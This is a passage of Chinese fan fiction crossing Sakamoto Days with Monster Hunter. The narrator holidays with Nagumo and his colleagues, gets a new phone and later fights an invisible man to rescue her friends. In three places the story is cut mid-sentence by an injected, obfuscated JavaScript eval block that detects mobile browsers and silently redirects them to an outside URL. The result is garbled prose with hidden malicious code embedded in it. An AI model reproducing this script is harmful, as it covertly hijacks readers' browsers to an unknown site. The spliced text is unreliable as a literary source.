“原因?”他略一沉默,随即惊人地开口,“因为他们两个昨天霸占你够久了吧。” “本来都是朋友,有什么霸占之说啊……” “诶……你就当我比较任性嘛!更何况,在我们三个人里,夜子你绝对是更喜欢我一点的吧!” “前者倒是明白,但后者这很难说啊。” “现在只有我俩,说点动听的话嘛夜子。” “不要。我们一起回去吧。”我拉起南云的衣袖。 意外的,他拿起反光闪亮的手机屏幕向我:“我已经发消息给神神廻了。” 我眯着眼看了看,大致是这样的: Nagumo:『猜猜我在哪儿?』 Nagumo:『不用猜咯!夜子我这就收下了!你和大佛两个人玩去吧!』 Nagumo:『顺带一提,我这里貌似之前有个你的任务忘记转发过去了^^很巧吧就在伊豆哦~』『附件.pdf』 Shishiba:『……』 Shishiba:『你怎么没死了呢?』 2. “综上所述,夜子你有什么想玩的地方吗?” “我只是觉得,我这辈子,不,包括下辈子,都不想和你当同事。” “你不说的话,我就当你默认跟我走喽?” 我还能怎样? 3. 明明已经把那个或许可以称作“威胁”的男人解决了,但那股惴惴不安的心情并未消散。 南云与我并肩走在街上,脚跟碰撞地面无声无息,他的嘴角始终向上: “你在想事情?这很少见。” “感觉接下来还有麻烦……”我难得仔细看着南云的脸,但是发现果然仰视着他太不舒服,便向旁边迈出一步站上一侧的台阶。 “这样就好些了。”我满意地笑着往下按了按他的头。 “夜子要害我长不高了。”语气里是满满的委屈, “你不是已经要30岁了吗?……天呐,30岁。”意识到这一点后难以控制地再次打量着他的脸。 “是29哦29,四舍五入就是20岁。” 站上台阶后我更清晰地与他对视,阳光金灿灿的,映着他脸颊上的绒毛简直就如同小动物一样。 不由得发出了福至心灵的总结:“南云,你保持年轻的秘诀是像刚刚一样把工作交给神神廻先生去做吗?” 他自然地搭上我的手,牵着我向前走去:“哪儿有嘛,那本来就是他的工作啊。” 虽然我的平衡力足以支撑我自己稳稳走过这段窄窄的台阶,但还是收下了南云想搀扶我的这份好心,牵着他一起走向不知何处的目的地。 而他也继续漫不经心地信口开河:“说起来我们一开始认识不就是为了交流工作经验吗?” “讲真的?”我顿了顿,“就算是我,到现在也很难不察觉到你绝对别有用心吧。” 「夜子好聪明~」他仅仅是用这样的眼神浅笑着与我对视,其他话却不肯多说一个字。 好吧。 我撇嘴扯过他牵着我的手,泄愤地用力(也没有很用力)弹了下,白皙的皮肤上立刻泛红一小片,过于浮夸的痛呼在耳边响起,我没管他继续往前走。 “你真可恶啊!明明都已经是好朋友了还搞这套……不过你手指上还有纹身啊。” “夜子也很可恶啊!明明是好朋友但是都这么久了才发现我的纹身!” “……对不起。”我细细观察着他十指上的奇怪符号,“我这就好好看。” 正是一个红灯口,在等待的时间,他任我翻来覆去钻研着他第三指关节的刺青——其实我也没有很想一直看下去,但是神情上那种“看不出点名堂绝对饶不了你”的暗示我无论怎样都没法忽视。 “啊,这个纹身,呃,有十个……然后都是黑色的……总之,这纹身很厉害?” “就这样?” “我又看不懂……” 他猛然意识到了什么似的,一手绕到脑后将颈侧黑发拨开,一手指着那儿的皮肤不可置信地开口: “那,这个呢?” “天呐!这里也有纹身吗?” “你从来没留意过?”他很难得地用上了一种被狠狠打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你究竟是什么身份,潜伏在坂本身边又有什么目的。” 我仰头茫然地向声源看去,那儿是虚无缥缈的天空,骤然笼罩的阴影,以及南云不带感情的黑色眼眸。 “如果是这个愿望,你能够满足吗?” “夜子……” “还是说,不知从何而来的杀手小姐,烈焰。” 南云,好陌生。 31.造假证?没有啊! 1. 我是什么身份。 我待在老板身边有什么目的。 如果解答这个问题就可以让南云不再发脾气,那他真的很好说话! 不过,刚刚那席话中,更惹眼的还是他对我的称呼。 我眼睛亮了亮:“好怀念啊,你再叫一遍我名字来听听?” 南云:“?” 2. 坐在老旧的秋千上,南云与我面面相觑着,耳边绳索“咯吱咯吱”摩擦着生锈的勾环,在冷风里徒增焦躁。 踩住滚到我脚边的一小段树枝,我实在是疲于解释: “心好累喔,都说了我不是什么杀手,真的是普通人啊!” “而且我能对老板有什么坏心思!” ——南云对我的误会完全起源于他自己的好奇心:那天泡过温泉后,他率先回到房间,意外捡到了我掉在地上的猎人证。 “真的是猎人证书!我辛辛苦苦通过了猎人公会认证的好不好!别因为外观很像就抹掉我全部的努力啊好不好!” “那那个假名?”他捋起袖子。 “什么假名!真要说的话‘烈焰’才是我真名才对!” 然后他轻轻重复了一声:“烈焰。” “我在!” “烈焰。” “我在啦!什么事!” “烈、焰。” “你别闹了!” 他止住了笑意,目光看向远方:“刚刚抱歉啦……不过那时你一点儿也没反应也是厉害。” “因为我脾气比你好一万倍!” 3. 此乃谎言。 倘若刚刚在秋千后,南云是提着刀威胁我,恐怕会直接血溅当场。 感谢你没有拔刀,南云,为我多留下了一个朋友。 4. 在他的要求下,我摸向口袋找出了我的猎人证明,逐字逐句向他解释着这真的不是我做的假杀手证。 他摊手装作无辜地说道:“毕竟造假证也是扰乱杀联秩序的一项重罪,会让我这个order很困扰的。” “我要假装是杀手有什么用啊……” “那可不一定。”他站起身,“我可算知道那天你怎么和神神廻大佛他俩,坐上同一辆杀联专车的了。” “所以,等一下,有专车接送并不是我的地铁卡套票的服务范围?”我突然想明白了。 南云遗憾地通知我就是如此。 5. 最初那份不祥的预感消失了。 不过我始终心有余悸,便在原地叫住了他: “南云,把我当坏人以后你就想这么算了?” 他无缝衔接到了不久前那副笑容满面的模样,我咬唇说道:“我看不懂你在说真话假话,只是想知道,你还愿意做我的朋友吗?” “你能不能别再骗我了?” 脚尖踩着那段树枝在沙地上来回划动,我的呼吸滞了滞,总感觉没得到答案的这几秒紧张得仿若身旁围了二十头乱窜的野猪王。 南云对我而言,是特别的人,他是我不平静生活的开启者,今天过后,他又是在这里第一个喊我“烈焰”的人。朋友也好,仅仅作为老板的熟人也罢,我不希望他在短短几天内只成为了我人生中的过客一名。 他迈开步,纤长的影子与我重叠。 “那我对烈焰发誓,在夜子面前,南云绝对不说谎。” “这样好不好?” “低头。”我让他垂下脑袋。 踮起脚尖,轻轻以额头相碰,我在心里许下愿望。 “这样一个誓言才算完整。” 6. 良久,南云都没有再说话,我们只是一味地赶着路,虽然我也不知道要去向何方。 “这里才是我想带你来的真正目的地。” ——电器城。 路口车水马龙,他往里指了指,示意我们要走的方向。西装笔挺的南云身高很高,人气也很高,放下身为杀手的戒备转为休闲状态时,更是收获了一批又一批男女老少的侧目。 仅仅是停下来观望这一会儿,我和他之间就涌来了几波红着脸的女孩,或是装作擦肩而过,或是有意无意的进行搭话。 戏谑性投去“真不赖啊”的目光,我正打算暂退一步给南云他们腾腾位置,一只骨节分明的大手便勾住了我的小指。 只是这微弱的挽留转瞬即逝,在和他对视上之前,那手就状似从未动过一样松开了我。南云正游刃有余地微笑着告别这些一面之缘。 低头端详小指,我甚至要怀疑自己是不是感觉错了;如果换作之前的南云,绝对会正大光明地拉着我拿我当挡箭牌。 ……我只是猜他是那种人。 “人有点多。”他瞧了眼我的手,飞快挪走视线,“本来想拉着你别走丢的。” 前后左右环视了一周,我深以为然:“现在人也一样多啊……你倒是伸手啊。” 南云愣了下,像是对我向他递出的掌心不知所措,几秒后终于失笑回应。手掌的轮廓合二为一,我感觉到他今天用力格外明显。 我冷笑一声:在力气上想赢过我?做梦去吧! 按耐住暗讽的嘴角,我控制着以普通人类不会受伤的力道暗自与南云较劲。 “好痛哦,是在惩罚我吗?”他终于回头卸下了力气,不过手却没有放开。 我自认这是他认输,便也不再施力:“是你自己发起的比赛吧!” “什么比赛……但是是你先握住我的手的。” “废话啊!要是我走丢了,就麻烦你代替神神廻先生去跟老板认罚吧!” “那就拜托你绝对不要放开咯~” 说话又开始带波浪号了啊。 南云总算恢复了正常。 7. 真正的目的地原来是手机专卖店。 “你要送我手机?” 我兴高采烈地胡乱戳着桌上一排摆放整齐的崭新样机,随便拿起一台放到耳边:“喂——你好!我有事找南云!” 他背过身去假装看不到我,随后也把自己的手机放到耳边:“你好,我就是南云~请问这位小姐有什么委托订单吗?” “啊,请你帮忙给南云订一束鲜花,表达我的感激。” “抱歉哦,你大概找错人了,这里只接‘杀了么’订单。送花还是请你当面送给那位先生吧!” “诶——不带这样的!”我愤然挂断『电话』,选择直接线下交锋,“你还真想我给你送花不成?” 南云收起手机回到我身边笑意盈盈:“你知道吗,刚刚似乎有个怪人和我打电话,要我给自己买花呢。这真的很怪对吧!” 店内动感时髦的音乐在头顶飘过,一旁甚至传来店员的窃笑声,我只得认命:“我送我送,回去就送。但你得好好养哦!” 8. 最终南云买下了两个手机。 因为我也看不太懂,所以最后还是他挑选的。一黑一白两只装的手机套装,据说合在一起买能打九五折,估计可以省下不少钱。 南云估计正是为此才买的套装。我问他不是已经有手机了吗,怎么还要买第二台,对此他只是叹息道工作太多导致内存不够。 啊,工作嘛,也可以理解。 “不对,你有什么不得不用手机的工作啊!” “别对我刻板印象嘛!任务信息也是发来很多个乱七八糟的pdf要下载的,而且还有工作报告、月度总结什么的。” “好吧……不过真没想到你明明已经这么富了,还会冲着折扣和我一起买套装。” “总之,你选一个吧?想要黑的还是白的?”他拆开包装递给我看。 原本是想选黑色的,因为黑色莫名能给我一种很坚固的感觉;不过考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我捂着嘴吐槽:“总共就一个联系人有什么好置顶的。” 他懒懒地靠上椅背:“虽然并不想想象那个场面,但是以后你总会有越来越多的联系人的。” “这倒也是。置顶能有多少个来着?我算算,回去以后要把老板,葵姐,朝仓,少糖他们都加进去。啊,还有商店的座机。” “这么多人的话,置顶还有什么意义!”他嘟着嘴反抗,“最多加一个坂本就够了吧……” 好吧。 我低头看了眼确认。 “Yoichi?这谁啊?……等下这是你的名字?” 南云登时咳嗽得很厉害,我拍拍他的背又重复念着,“Yoichi,与市,yoi-chi……算了,我还是改成南云吧。” 视线在那一行通讯录和南云咳红了的脸颊之间徘徊,我缓慢地打着字,一边和南云诉苦:“你叫那个名字的话我根本对不上你的脸啊。” “……你是第一次知道我的名字?” “是啊,又没人和我说过。” “坂本他没把我当朋友吧!”他状似苦恼。 我赶紧为老板正名:“那也不是,老板只是没必要和我们讲你的事情啊。” “你也觉得没必要吗?”又变得可怜巴巴地侧头盯着我。 “我以为你就叫南云来着。还有,别把我当犯人一样看啊,说到底你自己也没告诉过我吧!” 他抓住我一拳锤上去的动作,反过来包裹住了我的手,大拇指在我虎口处意味不明地摩挲着,开口说出的话语也像这小动作一样粘稠: “其实,『烈焰』这孩子也没好到哪儿去吧。” “这个名字你也没告诉过任何人?” “……好吧,是这样。”但这是有原因的,不过我并不方便和他解释。 他周身的气场骤然又有所变化。 夕阳叹着气抽动丝绸一般的橙红色云彩,我身边的南云眯着眼伸伸懒腰向我伸出了手: “走吧烈焰,准备下车。” 32.还没来得及回到日常 1. 前脚刚回到旅馆,后脚南云就和神神廻比划了几圈。虽然是神神廻主动出击,不过看南云满脸微笑,大概也是自愿的。 我和大佛盘腿坐在柔软的沙发上,一人啃着一个梨子,互相交换了今天分开后的所见所闻。 “说到这里,大佛,我有手机了哦!”将新手机双手捧到面前,我已经能够熟练地解锁,“告诉我你的号码吧!” 她回忆了一下,在屏幕上输下一串数字后递给我。满意地看了看,我顺手直接往后喊道: “神神廻先生别打了!请告诉我你的电话号码!” 那边乒乒乓乓的声音总算停下,神神廻站到我身后垂下脑袋,一只手搭上我的肩膀,啊,不是,是搭着我背后的布沙发,但是手掌宽大难免触碰到我的肩膀。 “去买了新手机?”他低沉慵懒的声音自斜上方传来,“挺好的嘛。”然后老老实实写下自己的联系方式。 南云也突然闪现到我面前,翘着二郎腿放肆地坐在茶几上,一根手指按住我刚熄灭的屏幕: “是我给夜子买的哦~” 2. 不只是添加两个联系人的事吗?为什么感觉空气又有一点点凝固了? 首先现在的四人位置就令人很摸不着头脑: 大佛像树袋熊一样抱着我的手臂,靠在我身上大口咀嚼梨肉,神神廻保持着从身后笼罩着我的姿势没变过,可以想见我的注意力轻而易举就被垂到我眼前的金色发丝给吸引住了,南云则更不必说,从手指到眼神无一不是从一个奇异的角度切入、逼近。 “旁边还有位置呀,怎么都不嫌挤的围在我这里?” 南云低笑了两声随即站起身:“那现在吃饭去吧。” “好!走!”我猜测着今天会有什么菜色,拉上持续性黏在我身上的大佛,一边跟上南云的步伐。 3. 算上一开始浪费的路程时间,我的伊豆之旅已经进行到了5/7,为家里人挑选伴手礼已然事不宜迟。 所以接下来的出行都极具目的性:那就是购物,购物,还有购物。 先前南云已经手把手教我如何将支票转为我账户上的现钱,不过由于我目前还没有账户这件事所以并无法实行。 反正也不用愁资金这件事,南云说我可以无利息地向他借钱,等到之后总有办法还的。 更何况这两天我并没有怎么安排普通游客的娱乐活动,所以节目组给我提供的娱乐项目资金也只在潜水上花过——也就是说,我真的很有钱。 最好解决的是给陆少糖的礼物,她说只要给她带“地区限定”的东西就行;葵和小花这边也好解决,她们的喜好我可以说是了如指掌。 最难解决的其实是老板和朝仓信两个人,表面上看起来无欲无求,实际上心里指不定都在期待些什么。要是真什么都不准备,他俩不知道会纠结成什么样。 而且也不符合我的美德。 但好在我的行动力也很强,花了一整天的时间怎么着也把伴手礼给选出来了,甚至因为东西太多还额外买了个巨大的28寸行李箱来盛放。 4. 感谢他们三个很有耐心地陪着我选购! 5. “不过你们不用准备伴手礼什么的吗?”我疑惑地问道。 “……我是独居。” “我不想把钱花在贿赂上司。” “那种东西,给你准备就够了嘛!” 总感觉这些回答既在意料之中,又十分惊人呢。 6. 返程的那天下午,我们坐了传说中的新干线。本来我当然很好奇了,不过和他们说着说着话就忘记观察一路的风景了,只记得那列车实在是很快很快。 “啊,我突然想起来『情人岬』和引导员说的话是什么意思了。” 突然之间,我福至心灵。 早晨还剩下最后一点旅行时光,想着还是不要浪费了为好,于是旅店老板就推荐我们去附近的著名景点『情人岬』,不仅距离很近,而且交通便利,很快就能顺路走到车站。 交换了下眼神,很快我们就决定好出发。 到那边的时候,游客正是急剧增加的那段时间。大海和礁石很好看是没错,不过成群结队情侣模样的人们更加契合景点的名字。 “情人岬的由来是,在这里一起看过大海的人们都会有情人终成眷属,情侣也会甜甜蜜蜜长长久久一辈子的!” 温柔的引导员脸上洋溢着幸福的笑容,双手合十仿佛在许下什么心愿,她对我们四个歪头一笑:“我想帅哥美女们你们两对情侣将来一定会超级幸福的哦!” “什么两对情侣?” 三个人听到引导员这话当下浑身一震,队形猛地一变,齐刷刷地不是盯着我就是抱紧我。 引导员也是愣了一愣,然后略显尴尬地将刘海发丝别到脑后:“啊…这样啊……没关系没关系,我懂的!情人越多越气派嘛小姐!”最后眉飞色舞地朝我使着眼色。 坐在飞速行驶的列车上时我终于明白了这句话她真正的含义: “她绝对是在说朋友就是人脉,我们的友谊天长地久吧!” “你这么想也可以。”神神廻拧开一瓶矿泉水转过头去。 7. 列车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266693|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行驶到一半,他们的老板仿佛能够实时监控到行踪一样,“叮”地一声就把结束度假后的任务给发了过来。 他们几个果真是很成熟的order,最后下车后就自然顺畅地分道扬镳。 大佛轻轻抱了抱我,在我耳边说着:“一定要联系我哦。” 神神廻只是点了点头,端庄地道了句再见。 南云本来也说要走的,不过他要去的地方似乎和我顺路,所以拦了一辆车准备把我一起捎回去坂本商店。 比较旅途前后,我果然还是多带了不少东西回来,一行李箱和几个手提袋的伴手礼,一部很好看的手机,还有一箩筐足以和大家聊几个晚上的美好记忆。 尤其是这部手机,我在和他们通话的时候特地忍着没有透露消息,正是想着见面之后给他们一个惊喜,然后拍一张全家福当桌面! 想着想着汽车就来到了商店街。 “唔,真的送到这里就可以了吗?要不要我陪你回去?”南云因为行李塞满了后备箱和副驾的座位,而且打到的是一辆小型车,所以整个人很委屈地缩在我旁边。 “不用麻烦你了,你快去工作吧!”我身上挂满了袋子,手里也拎着行李箱,“憩来坂可是我家啊!” “好,那你记得第一个联系我哦!我会一直等你的!” 他朝我眨眨眼睛,透过车窗展示着他的新手机,似乎意有所指。 我艰难地比了个OK的手势就心急如焚奔向坂本商店的方向。 8. 由于手里已经满满当当,我便没能用上翔虫快速回到商店。一路商店街上熟识的各位店主和街坊邻居见了我这幅1000%收获颇丰的模样,都乐呵呵地和我打了个招呼,嘴里还被投喂了一枚可乐饼。 心里只想着快马加鞭。毕竟我真的很期待大家一起拆礼物然后夸我的场面啊! 少糖绝对会立刻开始用起我精心挑选的礼物,朝仓呢,也绝对会满脸通红,十分拘谨地一边鞠躬一边大声道谢吧……我要回家! 9. 商店门口,玻璃碎了一地。 小花在哭。 除此以外没有人了。 10. 我顾不得那么多了,原本装满了期待的精致礼物,通通摔到了地上。 “小花小花,我回来了哦!” “小花别哭,夜子在你身边哦……” “小花,可以告诉我发生什么事了吗。” 我竭力沉住气,将小花抱进怀里安抚着,摸摸头,又亲亲她的脸颊。 是那个什么斯拉干的吗? 我绝对绝对,不会原谅的。 33.当我没打过月迅龙吗 1. 我看得出来小花已经很努力地忍住不哭了,但她闷头扎在我的颈窝,我能感受到涌出的泪水渐渐濡湿发根。 “爸爸、爸爸和信,都没有告诉我去哪儿就、嗝…就离开了。” “看他们的样子,小陆好像出了什么事被带走了……” “然后,妈妈说,她去问问周围的邻居有、有没有看到什么坏人,就拜托我在店里看一会儿家……” 她眼眶四周通红一片,豆大的泪珠止不住地滚落。我伸出大拇指抹干净她脸上淌下的泪痕,面上不留痕迹地思考着。 虽然不能确定到底是谁干的,但是我想最坏的可能果然还是那个斯拉。不过不知道他们去处的话,我独自在这儿焦头烂额也没有什么用。 “我绝对会很快把大家带回来让小花狠狠批评他们的,好不好?” 许下这样的承诺后,她拉住我的小指,说了句“那你也不要受伤哦”,就听从我的指挥上楼做作业去了。 2. 首先看看用电话能不能联系得上吧。 我拿出抽屉里的电话簿,蹲在座机边比对着接连拨了老板、陆、朝仓的号码,毫不意外地无人接听。 那该怎样呢? 无意识地摩挲着太刀刀柄的纹路,残破的商店店门却被推开了,感应器机械地念着“欢迎光临!”。 啊,已经换上新的感应器了吗。 我心不在焉地扬起一个笑容,决定不管怎样先到大路上飞一圈看看: “不好意思,店里有点事得先关门一会儿了!下次来我会给您优惠的!” 来人脸上印着红色瞄准圈,头发尖尖的好像刺猬,他如同握着黄金一样珍重地将一枚甚至有些生锈的500日元硬币捧在手里,浑身都洋溢着那种无忧无虑的快乐气息。 “诶,你是那个啥、什么龙的吗?” “百龙夜子,叫我夜子就好。”我合上电话簿,“你是老板他们认识的人?” “啊,哈哈哈我们是朋友啊!你就是他们的大女儿,不对,是那啥首席大店员吧!” 刚刚冒头的戒备一瞬被打消了。 “老板他们出事了,不在店里。” 3. 简单交流过后,我也算是摸清了这个名叫『真霜平助』的男人的底细。 并且很幸运地,他愿意帮助我。 黄色的小鸟『哔之助』展翅起飞,据说能够快速帮忙找到那三个人的位置。 要是我的福木兔『将军』也在就好了。 趁等待鸟儿归来的这段时间,我找杂货铺老板借了他的摩托车来。当然还有两个头盔。 “我们先骑车开出憩来坂,哔之助可以找得到你吧?” “当然!”他歪了歪脑袋,“不过,你会骑摩托啊,好厉害!”见我一直在调试着车把手,他便很自然地发问。 “不会啊。”我极其自然地摇摇头,“但就算不会骑也得硬骑。” 摩托车是我印象里机动性和爆发力最强的交通工具,事到如今我也不得不承认这种情况下开摩托绝对比用翔虫疾翔要快。 一句“你要是担心这点的话就请放心让我一个人去吧”没说出口,真霜平助就格外天然地大笑着说:“那不是更厉害了嘛!” 4. 老板,我好像发现了一个比我还要笨的笨蛋。 5. 真霜平助是个出色的狙击手,虽然还未真正见识到他的本事,但我相信能和哔之助配合如此优秀的人,绝对不会是什么泛泛之辈。 在他和哔之助的帮助之下,我们很快到达了最终目的地——尾久旅科学博物馆。 尽管我还在后悔某两个拐角为什么没能再快一点。 刚刚一路上的经历堪称冒险,不过真霜平助真的很厉害,不仅有着杰出的动态视力能够根据天上哔之助的动向指路,而且他完全没在这辆无证驾驶的车上有所动摇。 在后座上他紧紧环着我的腰,因此我也不用担心把人甩飞的风险,感觉我们的合作超赞的啊! 话音刚落,他就扒着垃圾桶干呕了起来,直起身时泪珠大颗大颗从眼角滑落: “我…我还以为刚刚在天堂开卡丁车……呕。” 我习惯性靠近为他拭去眼泪,顺手拍了拍他的脸颊为他鼓劲:“天堂吗?但是加油哦,前方的战斗可是地狱哦!” 6. 不,战斗暂时还构不成地狱。 因为尾久旅科学博物馆成人票要680日元每人。 而我俩一个把钱放在了商店,一个浑身上下只有一枚500日元硬币。 这很坏了。 尤其是周围路过的流鼻涕小孩舔着冰激凌指着我俩说:“爸爸妈妈那边两个叔叔阿姨长得好像喜欢逃票的废柴大人啊。” 7. 好在售票处的姐姐很好说话,我灵机一动,把南云送我的手机抵押在了她那儿,并且立下字据表示绝对回来补票。 因为貌似是当季新款的缘故,那个姐姐立刻答应了,而且还发着牢骚说要让她丈夫也给买这对手机。 入场后顺着骚动与破坏的痕迹,我们很快就发现了那几人的线索。 比如玩偶服套装那边店员说额外冲洗出来的两张废片,上面有朝仓和老板戴着恐龙头套摆的奇怪pose。 在散落的巨大恐龙骨架前,我胡乱摆弄了下机关熊,电梯缓缓出现在地面。 电梯缓缓下降的时候,真霜平助眨眨眼问出了一个致命的问题: “说起来我们有什么策略之类的吗?” 我沉默了。 “……呃,干就对了?总之把那几个人给夺回来就好!” 他看起来也格外赞同,哔之助也满意地扭一扭圆润的身体,哔哔叫了两声。 8. 在B1那层貌似是朝仓熟人的引导下,我们一路砍翻了很多莫名其妙、感觉根本不会有人中计的小陷阱,直达B3如同迷宫般遍布铁管的巨大工场。 “啊。” “我也听见了。” 我和平助对视一眼,无需交流,他便进入状态默契地从侧边绕去上方高地,而我,必然是先蹲在角落里磨刀嗑.药丝滑小连招。 顺便分出神观看了一眼那边朝仓的战况。 以及,对面是个『透明人』。 9. 刀尖刮过铁管搭成的地面,飞溅出点点火花,我阴沉着脸从暗处现身,短暂吸引住透明人的注意力后,一个疾翔跃向朝仓前方。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283496|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“躲开!”我对他大喊。 随即在滞空的短暂时间内调整身位快速挥出气刃斩,透明人动作很敏捷,虽然手中的匕首被我击落,但及时的翻滚躲避让他免受了这刀伤害。 “哦?援军么。”透明人的声音自虚空中传来,语调平平却不知为何满含暗讽。 朝仓信嘴角流血,不知何时已经抓着我的衣角,神色有些激动。 “夜子前辈!……”除了念我的名字也说不出别的话来。 我拍拍他的脑袋,一边戒备着四周,一边询问道:“伤得怎么样?会不会死?” “死不了死不了!”他后知后觉用手背擦去脸上的血迹,但亡羊补牢也无济于事,我已经发现了。 “好烦人啊……又多了一个对手,该不会不能准时下班了吧……” 死气沉沉的嗓音由于回声的缘故,为分辨方位增添了几分难度,朝仓用着一种说不上是气急败坏还是得意忘形的腔调向空气大声宣告着: “呵呵呵你完了透明混蛋!夜子前辈来了你就等着昏过去早退吧!” “朝仓,先别扯我袖子。” “啊。对不起夜子前辈!”他像受惊的猫一样跳开,随后和我背对背戒备着,“小心,这个透明混蛋的特异能力真的很麻烦……” 「别担心。」 「你有在听吧。」 「只不过隐身而已,我又不是没见过。但是你记得躲好。」 「或者去楼上平助那里,我带他来了。」 10. 会隐身的怪物,我也猎杀过不少。 霞龙,月迅龙,除了隐身外,一个会放毒圈,一个爱当刺客,如果非要比较的话,那么面前这个透明人则更像月迅龙,虽然威力完全不是一个等级的。 在最初的时候,确实会被隐身给吓到,不知所措地一通乱砍,不过一旦熟悉其行动习惯,那就基本不成问题。 所谓隐身,最扰乱人心的便是那种因为一无所知害怕受伤导致的迷茫。 但是区区人类的物理伤害,来就来吧! 我踩着大致摸出的攻击节奏,摆出纳刀架势,静心感受着皮肤上传来的空气流动,然后居合! 刀光闪过,我背身侧滑优雅停身。 没居到啊。^_^ 没关系的,这不过是我们太刀侠正常操作!下次,下次一定能居上! “夜子前辈!你肩膀划破了!!” 我决定不理会朝仓信的大呼小叫。 再居! 11. 与龙不同的是,这人的隐身时长似乎没有限制,我至今都没能看到透明人到底长什么样。 朝仓信似乎有些过分不想让我流血了,只是一味地想要支开我,让我去营救下一层更为孤立无援的少糖。 说不动摇是不可能的,但是我向下瞥了一眼他磨破的膝盖,心里还是认为自己有那样的实力把他们通通救下。 「三分钟,再给我三分钟,没办法解决的话,平助会帮你的。」 我向平助的方向隐晦地投去一个眼神,寄希望于他阴差阳错之下能读明白。虽然是小概率事件。 你这小月迅龙,看我拿不下你! 我狠狠地瞪了一眼我以为的透明人方位。 34.逃离研究所 1. 和一团空气对峙。 我咬咬牙,心里默默开始三分钟的倒计时。 要说战斗策略?那是没有的,初次见面一无所知的敌人,我通常依靠战斗直觉解决。 然而,透明人自打我出现后从来没有露出过真面目,加上活动范围相对狭窄的限制,敌人也没有真正的月迅龙那样庞大的体型,足以用一举一动激起扬尘,供我判断活动轨迹。 ——更何况,我的对手似乎是个心眼很坏的家伙。 2. 不知道为什么,透明人自从第一波猛攻后,攻击频率便大大降低。 本来就很焦躁了,那人现在又是五招攻击里只回一招,其余时间我听脚步声似乎都在闲庭信步,津津有味仿若在挑衅我这个对手。 时间已经来到惊人的一分半,而我现在红刃还没开。 我决定还是得换个战术,不现身但至少要让他弄出点动静。 “你再不出现,和我在这儿耗着,绝对会拖延下班时间的吧!” 在地上滚了一圈取消特殊纳刀,我动作流利从容,貌似放下了警惕,实则期盼着能动摇那人发动攻击。却只听到不远处波澜不惊的声音: “干兼职最重要的是准点下班没错,但我本职还是一名研究生啊。” “唉,不过确实,即便如此也不能懈怠来着……” 一语未毕,匕首便破空而来,掀起微弱的风划过耳边。虽然看不到,但那是一记很狠辣的直击。和先前胡乱从各个犄角旮旯里发动的突刺完全不同。 我也不是什么省油的灯。 察觉他攻击意图的当下,我当即向前突刺一刀,转而步法一改跳步往后闪避,当感觉到周身一亮时,我就知道稳了。 双手持稳太刀,如同圆规一般滑向最开始的地方,上挑刀尖破开透明人不知哪个柔软的部位。 见切成功!派生气刃大回旋! 太棒了! 3. 不,这并不是什么值得骄傲的事,敌人不露面我甚至无法确认造成了怎样的伤害,光闻血腥味是闻不出来的。 没有倒地声,说明还没死。 不过他终于揭开了自己的神秘面纱。 扶着简陋的栏杆,他一只手缓缓从鼻尖开始拉开了外套拉链,堪堪露出那对毫无血色的嘴唇。 “还以为是凭着好武器才这么自信狂妄,原来是使用者就本事了得啊。” 虽然是作为决一死战的对手,然而厚重刘海下他眼底泄露出来的好奇与欣赏之意不似作伪。 不过就算他把我刀夸上天我也不会手软的! “中了这几刀还没倒下?继续!”我立刻又进行了一次特殊纳刀。 4. “前辈,那个,三分钟了。” 朝仓信站到我身前摆出战斗架势,我这才意识到约好的时间甚至已经又过了一分钟。 “多谢夜子前辈为我铺好的路,接下来就请您去帮助更需要您的少糖吧!” 5. 啊,被赶出战场还是第一次呢。 我呆呆地看了眼自己的双手,后知后觉自己已经站在B4的某一路口。 没有地图,也没有朝仓信那便捷的读心能力,我只好采用古法寻人小妙招: “少糖啊!——你在——哪儿啊!——” “我来救你了!——” 然后五分钟后就以一种诡异的同步率和她汇合了。 6. 你旁边这是……? 以眼神这样询问了陆少糖,她这才松开我那只刚受了伤有些渗血的手臂:“这位是研究所的朝仓所长,旁边是那个今天绑了我的人……呜哇等一下夜子姐先别拔刀啊!他姑且还是个无害的存在!” “哦,好吧。”我将信将疑地收刀,见少糖本人安全无恙便拍了拍她的肩膀,“现在朝仓、平助和哔之助都在上一层战斗,你知道老板在哪儿吗?” 不知是什么触动了她心里那根弦,少糖愣了一下后猛地又哭了起来,哭得鼻尖红红,一边断断续续向我吐露心声。 关于她很懊悔上午和朝仓信吵嘴才导致如今的一系列麻烦这件事。 “就算你们不吵架,坏人也还是会来把朝仓抓走啊!到时候反倒是你要来解救他,他被关在牢里吧!” “但,但他好歹能和自己养父关在一起嘛……” 养父? 我看向了同为『朝仓』的所长。 三双眼睛就这样齐刷刷盯住了留着长发的胡茬男,他扯了扯嘴角往后退却一小步:“不、别看我啊……信他或许不会想要见到我呢……可能性很大……” 我下意识反驳:“你知道他现在姓什么吗大叔?” “讨厌你怎么还会保留着朝仓这个姓啊!” 7. 由于现在并不是温情时间, 